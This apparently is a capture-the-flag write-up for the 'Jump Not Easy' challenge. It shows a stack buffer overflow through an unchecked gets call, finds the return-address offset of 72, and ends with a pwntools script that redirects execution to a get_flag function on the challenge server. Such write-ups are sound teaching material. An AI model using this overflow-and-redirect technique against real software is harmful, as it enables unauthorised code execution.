Jump Not Easy
This is a classic buffer overflow challenge. We don't have the source code so we'll disassemble the binary using radare2.
We can see that the main function calls the
jump
function.
Notice that the jump function calls
gets
, which is vulnerable to buffer overflows (it does not check the received buffer length).
We can now use
gdb
to debug the binary. Using msf-pattern_create -l 1000
, we create a pattern that we will send to the binary.Set a breakpoint at 0x00401304, right after the
gets
call.gef > break *0x00401304
Breakpoint 1 at 0x401304
After supplying our payload through the
gets
call, our breakpoint is triggered.
At this point we can analyse the stack frame after receiving input, but before returning from the
jump
function.The
saved rip
value is the return address stored on the stack. We have successfully overwritten it.
msf-pattern_offset -q 0x6341356341346341
[*] Exact match at offset 72
Now we know that the RIP offset is 72.
There is also a
get_flag
function at 0x0040125d
. Perhaps we can redirect the program execution here, and get our flag.
Let's test our hypothesis. We generate our payload file:
python -c 'print "A" * 72 + "\x5d\x12\x40\x00"' > ipt.txt
, then pass it to the binary in gdb.gef > run < ipt.txt
Here we have overwritten the RIP to the address of
get_flag
. Continuing from the breakpoint, we get "Error when opening the file!". This means that the get_flag
function was indeed executed!
Now we can obtain the flag from the server.
from pwn import *
ret = 0x0040125d
offset = 72
payload = b""
payload += b"A" * offset
payload += p32(ret)
print(payload)
conn = remote('chals5.umdctf.io', 7003)
print(conn.recvuntil("Where do you want to go?\n"))
conn.send(payload + b"\n")
print(conn.recv())
conn.close()

Last modified 8mo ago